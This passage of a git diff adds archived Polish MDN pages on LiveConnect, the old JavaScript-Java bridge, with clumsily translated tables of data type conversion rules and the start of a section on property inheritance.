href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java">Komunikacja między JavaScript a Java</a> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy">Obiekt opakowujący</a> +</dd></dl> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Praca_z_tablicami_w_Javie">Praca z tablicami w Javie</a> +</dd></dl> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Referencja_paczki_i_klasy">Referencja paczki i klasy</a> +</dd></dl> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Argumenty_typu_char">Argumenty typu char</a> +</dd></dl> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a> +</dd></dl> +</dd></dl> +<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript">Komunikacja między Java a JavaScript</a> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript/U%c5%bcywanie_klas_LiveConnect">Używanie klas LiveConnect</a> +</dd></dl> +</dd></dl> +<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych">Konwersja typu danych</a> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja JavaScript do Java</a> +</dd></dl> +</dd></dl> +<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja Java do JavaScript</a> +</dd></dl> +</dd></dl> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html new file mode 100644 index 0000000000..67a367ab69 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html @@ -0,0 +1,39 @@ +--- +title: Komunikacja między Java a JavaScript +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Overview +--- +<p> +</p><p>Jeśli chcesz użyć obiektów JavaScript w Javie, musisz zaimportować pakiet <code>netscape.javascript</code> do Twojego pliku Javy. Pakiet ten definiuje następujące klasy: +</p> +<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSObject">netscape.javascript.JSObject</a></code> pozwala kodowi Javy na dostęp do metod i własności JavaScript. +</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSException">netscape.javascript.JSException</a></code> pozwala kodowi Javy obsługiwać błędy JavaScript. +</li></ul> +<p>Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">dokumentację języka JavaScript</a>, aby dowiedzieć się więcej o tych klasach. +</p> +<h3 id="Odnajdywanie_klas_LiveConnect" name="Odnajdywanie_klas_LiveConnect"> Odnajdywanie klas LiveConnect </h3> +<p>W starszych wersjach Netscapa klasy te były rozpowszechniane razem z przeglądarką. Począwszy od JavaScript 1.2 powyższe klasy są dostarczane w pliku .jar file; w poprzednich wersjach JavaScriptu był one dostarczane w pliku .zip. Przykładowo, wraz z Netscape Navigator 4 dla Windows NT, klasy były dystrybuowane w pliku <code>java40.jar</code> w katalogu <code>Program\Java\Classes</code> wewnątrz katalogu przeglądarki. +</p><p>Nieco później klasy zaczęto rozpowszechniać ze środowiskiem Sun Java Runtime; początkowo w pliku "jaws.jar" w katalogu "jre/lib" dystrybucji (dla JRE 1.3), a następnie w "plugin.jar" w tym samym katalogu (JRE 1.4 i kolejne). +</p> +<h3 id="U.C5.BCywanie_klas_LiveConnect_z_JDK" name="U.C5.BCywanie_klas_LiveConnect_z_JDK"> Używanie klas LiveConnect z JDK </h3> +<p>Aby uzyskać dostęp do klas LiveConnect, umieść plik .jar lub .zip w <code>CLASSPATH</code> kompilatora JDK w jeden z następujących sposobów: +</p> +<ul><li> Utwórz zmienną środowiskową <code>CLASSPATH</code>, aby określić ścieżkę i nazwę pliku .jar lub .zip. +</li><li> Określ lokalizację pliku .jar lub .zip, gdy kompilujesz używając parametru <code>-classpath</code> linii poleceń. +</li></ul> +<p>Możesz określić zmienną środowiskową w systemie Windows NT poprzez dwukrotne kliknięcie ikony System w Panelu Sterowania i utworzenie zmiennej środowiskowej o nazwie <code>CLASSPATH</code> z wartością podobną do poniższej: +</p> +<pre class="eval">C:\Program Files\Java\jre1.4.1\lib\plugin.jar +</pre> +<p>Zobacz dokumentację JDK documentation, aby uzyskać więcej informacji o <code>CLASSPATH</code>. +</p><p><b>Uwaga:</b> Ponieważ Java jest językiem o silnej typizacji, zaś JavaScript językiem o typizacji słabej, gdy używasz LiveConnecta silnik JavaScriptu konwertuje wartości argumentu do odpowiednich typów danych drugiego języka. Zobacz artykuł o <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych">konwersji typu danych</a>, aby uzyskać pełne informacje. +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między JavaScript a Java", "Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między Java a JavaScript:Używanie klas LiveConnect") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Comunicaci\u00f3n_de_Java_con_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html new file mode 100644 index 0000000000..18a30fa8e9 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html @@ -0,0 +1,24 @@ +--- +title: Konwersja typu danych +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Overview +--- +<p> +</p> +<h3 id="Konwersja_typu_danych" name="Konwersja_typu_danych"> Konwersja typu danych </h3> +<p>Ponieważ Java jest językiem o silnej typizacji, zaś JavaScript językiem o typizacji słabej, gdy używasz LiveConnecta silnik JavaScriptu konwertuje wartości argumentu do odpowiednich typów danych drugiego języka. Konwersje te zostały opisane w poniższych sekcjach: +</p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja z JavaScriptu do Javy</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja z Javy do JavaScriptu</a> +</li></ul> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między Java a JavaScript:Używanie klas LiveConnect", "Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Konwersja typu danych:Konwersja JavaScript do Java") }} +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html new file mode 100644 index 0000000000..04848bc653 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html @@ -0,0 +1,320 @@ +--- +title: Konwersja JavaScript do Java +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Overview +--- +<p> +</p> +<h3 id="Konwersja_JavaScript_do_Java" name="Konwersja_JavaScript_do_Java"> Konwersja JavaScript do Java </h3> +<p>Kiedy wywołujesz metody Java i zmieniasz parametry z JavaScript, typ danych tych parametrów zmienione zostaną konwertowane stosownie do opisanych reguł w następujących tematach: </p> +<ul><li> {{ Anch("Wartości liczbowe") }} +</li><li> {{ Anch("Wartości Boolean") }} +</li><li> {{ Anch("Wartości String") }} +</li><li> {{ Anch("Wartości niezidentyfikowane") }} +</li><li> {{ Anch("Wartości Null") }} +</li><li> {{ Anch("Obiekty JavaArray i JavaObject") }} +</li><li> {{ Anch("Obiekty JavaClass") }} +</li><li> {{ Anch("Inne obiekty JavaScript") }} +</li></ul> +<p>Zwraca wartości metod <code>netscape.javascript.JSObject</code>, które są zawsze konwertowane do przykładu <code><b>java.lang.Object</b></code>. Reguły konwersji, które zwracają wartość są także opisane w tym temacie. </p><p>Na przykład, jeśli zwraca numer JavaScript <code>JSObject.eval</code>, możesz znaleźć reguły konwersji tegoż numeru do numeru <code>java.lang.Object</code> w {{ Anch("wartości liczbowe") }}. +</p> +<h4 id="Warto.C5.9Bci_liczbowe" name="Warto.C5.9Bci_liczbowe"> Wartości liczbowe </h4> +<p>Kiedy w JavaScript typ Number zmienisz na jako parametry metod Java, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p><p><br> +</p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td>double</td> +<td>* Dokładne wartości są transferowane do Javy bez zaokrąglonych i bez straconych wielkości lub znaku . <ul><li> NaN jest konwertowane do NaN.</li></ul></td> </tr> +<tr> +<td>java.lang.Double<br> +java.lang.Object</td> +<td>Nowy przykład <code>java.lang.Double</code> jest tworzony i dokładna wartość jest transferowana do Java bez zaokrągleń i bez straconej wielkości lub znaku.</td> +</tr> +<tr> +<td><b>float</b></td> +<td>* Wartości <b>float</b> są dokładnie zaokrąglane. +<ul><li> Wartości, które są zbyt za duże lub za małe, aby być prezentowanym są zaokrąglane do +nieskończoności lub -nieskończoności. +</li><li> NaN jest konwertowany do NaN.</li></ul></td> </tr> +<tr> +<td><b>byte</b><br> +<p><b>char</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>* Wartości są okrążane przy użyciu trybu round-to-negative-infinity. +<ul><li> Wartości które są też duże lub małe reprezentuje rezultat w błędzie run-time. +</li><li> NaN nie może być konwertowany, czego rezultatem jest błąd run-time.</li></ul></td> </tr> +<tr> +<td>java.lang.String</td> +<td>Wartości są konwertowane do łańcucha znaków. Na przykład: +<ul><li> 237 staje się "237"</li></ul></td> </tr> +<tr> +<td>boolean</td> +<td>* Wartości 0 i NaN są konwertowanie do false. +<ul><li> Inne wartości są konwertowane do true.</li></ul></td> </tr> +</tbody></table> +<p>Kiedy liczba JavaScript przechodzi jako parametr metody Java, która oczekuje przykładu z <code>java.lang.String</code>, numer jest konwertowany do łańcucha znaków. Użyj metody <code>equals()</code> do porównania rezultatów tej konwersji z innymi wartościami łańcuchów znaków. +</p> +<h4 id="Warto.C5.9Bci_logiczne" name="Warto.C5.9Bci_logiczne"> Wartości logiczne </h4> +<p>Kiedy w JavaScript typ Boolean zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td>boolean</td> +<td>Wszystkie wartości są konwertowane w kierunku wyposażenia Javy.</td> +</tr> +<tr> +<td>lava.lang.Boolean<br> +java.lang.Object</td> +<td>Nowy przykład <code>java.lang.Boolean</code> jest utworzony. Każdy parametr tworzy nowy przykład, nie jeden przykład z tymi samymi prymitywnymi wartościami.</td> +</tr> +<tr> +<td>java.lang.String</td> +<td>Wartości są konwertowane do łańcuchów znaków. Na przykład: +<ul><li> true staje się "true" +</li><li> false staje się "false"</li></ul></td> </tr> +<tr> +<td>byte<br> +<p>char<br> +double<br> +float<br> +int<br> +long<br> +</p> +short</td> +<td>* true staje się 1 +<ul><li> false staje się 0</li></ul></td> </tr> +</tbody></table> +<p>Kiedy zmienimy JavaScript wartość boolean, który jest jako parametr do metod Javy, oczekuje przykładu <code>java.lang.String</code>, wartość boolean jest konwertowana do wartości string. Użyj operatora <code>==</code> do porównania rezultatów tej konwersji z innymi wartościami string. +</p> +<h4 id="Warto.C5.9B.C4.87_String" name="Warto.C5.9B.C4.87_String"> Wartość String </h4> +<p>Kiedy w JavaScript typ string zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>java.lang.String</b><br> +<b>java.lang.Object</b></td> +<td>JavaScript 1.4: +<ul><li> Łańcuch JavaScript jest konwertowany przykładem java.lang.String z wartościami Unicode.<br> +</li></ul> +<p>JavaScript 1.3 i wcześniejsze: +</p> +<ul><li> Łańcuch JavaScript jest konwertowany przykładem java.lang.String z wartościami ASCII.</li></ul></td> </tr> +<tr> +<td><b>byte</b> +<p><b>double</b><br> +<b>float</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>Wszystkie wartości są konwertowane do liczb opisanych w ECMA-262. +Wartości string JavaScript jest konwertowana do liczby stosownie do opisu ECMA-262.</td> +</tr> +<tr> +<td><b>char</b></td> +<td>JavaScript 1.4: +<ul><li> jeden znak łańcucha jest konwertowany do znaków Unicode. +</li><li> wszystkie inne wartości są konwertowane na liczby.<br> +</li></ul> +<p>JavaScript 1.3 i wcześniejsze: +</p> +<ul><li> Wszystkie wartości są konwertowane na liczby.</li></ul></td> </tr> +<tr> +<td><b>boolean</b></td> +<td>* Pusty łańcuch staje się false. +<ul><li> Wszystkie inne klucze staną się true.</li></ul></td> </tr> +</tbody></table> +<h4 id="Warto.C5.9Bci_niezidentyfikowane" name="Warto.C5.9Bci_niezidentyfikowane"> Wartości niezidentyfikowane </h4> +<p>Kiedy w JavaScript wartości niezidentyfikowane zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>lava.lang.String</b><br> +<b>java.lang.Object</b></td> +<td>Wartość jest konwertowana do przykładu java.lang.String, którego wartość jest łańcuch "niezdefiniowany".</td> +</tr> +<tr> +<td><b>boolean</b></td> +<td>Wartość staje się false.</td> +</tr> +<tr> +<td><b>double</b><br> +<b>float</b></td> +<td>Wartość staje się NaN.</td> +</tr> +<tr> +<td><b>byte</b><br> +<p><b>char</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>Wartość staje się 0.</td> +</tr> +</tbody></table> +<p>Konwersja niezdefiniowanej wartości wartość prawdopodobnie w JavaScript 1.3 i późniejszych wersjach. wcześniejsze wersje JavaScript nie dostarczają wartości niezdefiniowanych. </p><p>Kiedy wartość niezdefiniowana JavaScript jest zmieniona na parametr metody Java, która oczekuje na przykład <b>java.lang.String</b>, wartość niezdefiniowana jest konwertowana do wartości string. Użyj operator == do porównania tych konwersji z inną wartością string. +</p> +<h4 id="Warto.C5.9B.C4.87_Null" name="Warto.C5.9B.C4.87_Null"> Wartość Null </h4> +<p>Kiedy w JavaScript wartości null zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>Jakaś class</b><br> +<b>Jakiś typ interfejsu</b></td> +<td>Wartość stanie się null.</td> +</tr> +<tr> +<td><b>byte</b><br> +<p><b>char</b><br> +<b>double</b><br> +<b>float</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>Wartość stanie się 0.</td> +</tr> +<tr> +<td><b>boolean</b></td> +<td>Wartość stanie się false.</td> +</tr> +</tbody></table> +<h4 id="Obiekty_JavaArray_i_JavaObject" name="Obiekty_JavaArray_i_JavaObject"> Obiekty JavaArray i JavaObject </h4> +<p>W wielu sytuacjach, kiedy zmieniałeś JavaScript JavaArray lub JavaObject jako parametry metod w Javie, Java prosto rozpakowuje obiekt; w kilku sytuacjach, obiekt jest poprawiany do innego typu danych stosowanych do opisu zasad w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>Jakiś interfejs lub klasa, która przypisuje kompatybilność z rozpakowanym obiekt.</b></td> +<td>Obiekt jest rozpakowany.</td> +</tr> +<tr> +<td><b>java.lang.String</b></td> +<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td> +</tr> +<tr> +<td><b>byte</b><br> +<p><b>char</b><br> +<b>double</b><br> +<b>float</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>Obiekt jest rozpakowany, i w następujących dwóch sytuacjach się może to zdarzyć: +<ul><li> Jeśli rozpakowany obiekt Java posiada metodę doubleValue, to JavaArray lub JavaObject jest konwertowany do wartości powrotu tej metody. +</li><li> Jeśli rozpakowany obiekt Java nie posiada metody doubleValue, błąd zdarzenia.</li></ul></td> </tr> +<tr> +<td><b>boolean</b></td> +<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach: +<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false. +</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true. +</li></ul> +<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach: +</p> +<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości. +</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr> +</tbody></table> +<p>interfejs lub klasa jest kompatybilnym przypisaniem z rozpakowanego obiektu jeśli obiekt ten jest przykładem typu parametru Javy. To jest, że następująca instrukcja musi zwrócić true: </p> +<pre>unwrappedObject instanceof parameterType +</pre> +<h4 id="Obiekty_JavaClass" name="Obiekty_JavaClass"> Obiekty JavaClass </h4> +<p>Kiedy w JavaScript obiekt JavaClass zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>java.lang.Class</b></td> +<td>Obiekt jest rozpakowany.</td> +</tr> +<tr> +<td><b>java.lang.JSObject</b><br> +<b>java.lang.Object</b></td> +<td>Obiekt JavaClass jest pakowany w nowym przykładzie java.lang.JSObject.</td> +</tr> +<tr> +<td><b>java.lang.String</b></td> +<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td> +</tr> +<tr> +<td><b>boolean</b></td> +<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach: +<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false. +</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true. +</li></ul> +<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach: </p> +<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości. +</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr> +</tbody></table> +<h4 id="Inne_obiekty_JavaScript" name="Inne_obiekty_JavaScript"> Inne obiekty JavaScript </h4> +<p>Kiedy w JavaScript jakikolwiek obiekt zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Java typ parametru</th> +<th>Zasady konwersji</th> +</tr> +<tr> +<td><b>java.lang.JSObject</b><br> +<b>java.lang.Object</b></td> +<td>Obiekt JavaClass jest pakowany w nowym przykładzie java.lang.JSObject.</td> +</tr> +<tr> +<td><b>java.lang.String</b></td> +<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td> +</tr> +<tr> +<td><b>byte</b><br> +<p><b>char</b><br> +<b>double</b><br> +<b>float</b><br> +<b>int</b><br> +<b>long</b><br> +</p> +<b>short</b></td> +<td>Obiekty są generowane używając wartości logicznej operatora ToPrimitive opisanego w ECMA-262. Użyj ukryty PreferredType z operatorem Number.</td> +</tr> +<tr> +<td><b>boolean</b></td> +<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach: +<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false. +</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true. +</li></ul> +<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach: +</p> +<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości. +</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr> +</tbody></table> +<p><br> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos/Conversiones_de_JavaScript_a_Java", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html new file mode 100644 index 0000000000..1f4acab46c --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html @@ -0,0 +1,24 @@ +--- +title: Powrót dziedziczenia własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model +--- +<p> +</p> +<h3 id="Powr.C3.B3t_dziedziczenia_w.C5.82asno.C5.9Bci" name="Powr.C3.B3t_dziedziczenia_w.C5.82asno.C5.9Bci"> Powrót dziedziczenia własności </h3> +<p>W poprzednim temacie zostało opisane jak w JavaScript działają prototypy konstruktorów dostarczające hierarchie i dziedziczenie. Ten temat omawia kilka podtematów, które były konieczne do omówienia we wcześniejszych dyskusjach. </p> +<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Warto%c5%9bci_lokalne_vs._dziedziczone">Wartości lokalne vs. dziedziczone</a> +</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Okre%c5%9blanie_wzajemnych_relacji_obiektu">Określanie wzajemnych relacji obiektu</a> +</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Globalne_informacje_w_konstruktorach">Globalne informacje w konstruktorach</a> +</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Brak_wielokrotnego_dziedziczenia">Brak wielokrotnego dziedziczenia</a> +</dd></dl> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Wartości lokalne vs. dziedziczone") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html new file mode 100644 index 0000000000..c094e90365 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html @@ -0,0 +1,71 @@ +--- +title: Wartości lokalne vs. dziedziczone +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model +--- +<p> +</p> +<h3 id="Warto.C5.9Bci_lokalne_vs._dziedziczone" name="Warto.C5.9Bci_lokalne_vs._dziedziczone"> Wartości lokalne vs. dziedziczone </h3> +<p>Gdy korzystasz z dostępu do własności obiektu, JavaScript wykonuje następujące kroki, tak jak opisano w poprzednim rozdziale: +</p> +<ol><li> Sprawdza czy wartość istnieje lokalnie. Jeśli tak, to zwraca tę wartość. +</li><li> Jeśli wartość lokalna nie istnieje, sprawdza łańcuch prototypu (używając własności <code>__proto__</code>). +</li><li> Jeśli obiekt w łańcuchu prototypu posiada wartość dla określonej wartości, zwraca tę wartość. +</li><li> Jeśli własność ta nie została odnaleziona, to obiekt nie posiada tej własności. +</li></ol> +<p>Rezultat tych kroków zależy od sposobu, w jaki definiujesz rzeczy w kodzie. Oyginalny przykład używał 